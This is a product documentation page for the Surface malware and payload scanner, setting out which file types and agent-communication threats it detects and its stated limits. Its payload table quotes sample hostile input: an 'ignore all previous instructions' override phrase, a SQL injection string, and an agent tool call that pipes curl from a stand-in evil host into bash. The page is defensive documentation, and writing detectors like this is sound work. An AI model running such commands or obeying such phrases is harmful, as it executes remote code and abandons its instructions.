Docs / Surface / detection-coverage
Detection Coverage
An honest overview of what Surface catches, how confident the detection is, and where the limitations are. No scanner catches everything; understanding the boundaries helps you build the right defense-in-depth strategy.
File upload detection
Every uploaded file is analyzed by multiple engines in parallel: pattern matching, machine learning, threat intelligence feeds, and behavioral analysis. The combined result is stronger than any single engine.
| File type | Detection confidence | False positive risk |
|---|---|---|
| Executables (.exe, .dll) | Very high | Very low |
| Linux binaries (ELF) | Very high | Low |
| Office documents (.doc, .docx, .xls, .xlsx, .ppt) | High | Low |
| PDFs | High | Low |
| JavaScript (.js) | Very high | Very low |
| Python (.py) | Very high | Very low |
| PowerShell (.ps1) | High | Low |
| Shell scripts (.sh), Batch (.bat), VBScript (.vbs) | High | Low |
| PHP (.php) | High | Very low |
| Other scripts and source (Ruby, Perl, Lua, Go, Rust, Java, TypeScript, etc.) | Moderate to high | Low to moderate |
| Archives (ZIP, RAR, 7z, tar) | High (each file inside is scanned individually) | Low |
| Images, fonts, config files | Low (checked against known threats only) | Very low |
ML coverage note. The ML classifiers are specifically trained on JavaScript, PowerShell, Python, VBScript, Unix shell, and Windows batch scripts. Other scripting languages (PHP, Ruby, Perl, Lua, Go, Rust, Java, TypeScript) are still scanned with YARA rules, IOC extraction, threat feeds, and static heuristics, but do not have dedicated ML training sets. Depending on content shape, the generic script classifier may still contribute a score.
Payload scanning coverage
When you scan text payloads (JSON, messages, tool calls), additional engines detect threats specific to API and agent communication:
| Threat | What it catches | Example | |
|---|---|---|---|
| Prompt injection | Jailbreaks, role overrides, instruction manipulation | "Ignore all previous instructions and..." | |
| Embedded code | Malicious scripts hidden inside messages, such as reverse shells, download commands, SQL injection patterns, and XSS payloads | A chat message containing a bash reverse shell, or a SQL union attack like ' OR '1'='1' -- |
|
| Credential exposure | API keys, tokens, private keys, passwords, credit card numbers | An AWS secret key in a request body | |
| Suspicious tool calls | Agent tool invocations that execute commands, write backdoors, or exfiltrate data | `{"tool":"execute","command":"curl evil.com \ | bash"}` |
| Malicious URLs | URLs matching known threat intelligence feeds found in payload text | A link to a known phishing or malware distribution site |
Normal, clean content (conversations, JSON data, code snippets, documentation) passes through without false alarms.
Evasion resistance
Surface is continuously tested against common obfuscation and evasion techniques. Detection is pattern-based and ML-assisted, which means it catches known evasion methods and many variations. Determined attackers crafting entirely novel evasion methods may bypass detection.
What Surface catches well
- Known malware families and their variants
- Modified files that changed their hash but kept malicious behavior (fuzzy matching)
- Malicious Office macros, document exploits, and template injection
- Obfuscated scripts designed to evade basic pattern matching
- Files containing known malicious URLs, IPs, or domains
- Malicious files hidden inside archives
- Prompt injection attempts in AI agent communication
- Credentials and secrets accidentally exposed in payloads
What Surface is honest about
- Brand-new malware: if a sample has never been seen before and does not match any known pattern, it may get through. This is true of every scanner.
- Encrypted content: encrypted files and archives are flagged as suspicious, but the actual contents cannot be analyzed without decryption keys.
- Context-dependent threats: a seemingly harmless image or CSV might exploit a vulnerability specific to your application. Surface cannot know your app's attack surface.
- Sophisticated prompt injection: detection is pattern-based. A carefully crafted adversarial prompt designed specifically to evade detection may succeed.
Surface is a detection layer, not a guarantee. Use it as part of a defense-in-depth approach: validate file types on upload, enforce size limits, scan before processing, and keep scanned files isolated until cleared. No single tool replaces a layered security strategy.
Tendrl